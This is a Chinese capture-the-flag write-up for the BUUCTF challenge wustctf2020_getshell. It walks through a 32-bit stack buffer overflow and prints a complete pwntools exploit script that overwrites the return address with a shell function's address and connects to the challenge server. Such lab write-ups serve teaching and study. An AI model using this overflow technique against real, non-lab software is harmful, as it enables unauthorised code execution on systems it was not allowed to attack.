buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
Lcr3s2 小时前
我的DVWA靶场实践_Low难度
安全
亚远景aspice3 小时前
亚远景-低空经济与具身智能:具身智能飞行器量产落地,过程合规与安全体系怎么搭
人工智能·安全·过程改进·低空经济·研发管理·亚远景科技·过程能力评估
EasyGBS3 小时前
水域乱象难管控?国标GB28181视频平台EasyGBS视频+AI双引擎赋能河湖监管
深度学习·安全·gb28181
万年咸鱼4 小时前
HTTPS 是如何保证传输安全的?
网络协议·安全·https
JackieDYH4 小时前
深入理解iframe的allow属性与安全实践-iframe权限点
安全
OxYGC6 小时前
Spring 面经系列 · 第 1 篇:Bean 生命周期、单例语义、依赖注入与线程安全
java·安全·spring
himobrinehacken6 小时前
位运算揭秘:左右移与符号位陷阱
c语言·c++·算法·安全
mmsx7 小时前
Android 安全校验下沉到原生层:防 patch 与构建期自动化
android·安全·自动化
上海广测检测科技有限公司7 小时前
无线鼠标出口欧盟CE认证准备要点:RED指令下的射频、安全与电池义务梳理
经验分享·安全
QZ166560951597 小时前
可视化易用·低误报率·跨区域部署:知源-AI数据分类分级系统在金融行业的落地实践
大数据·网络·安全·网络安全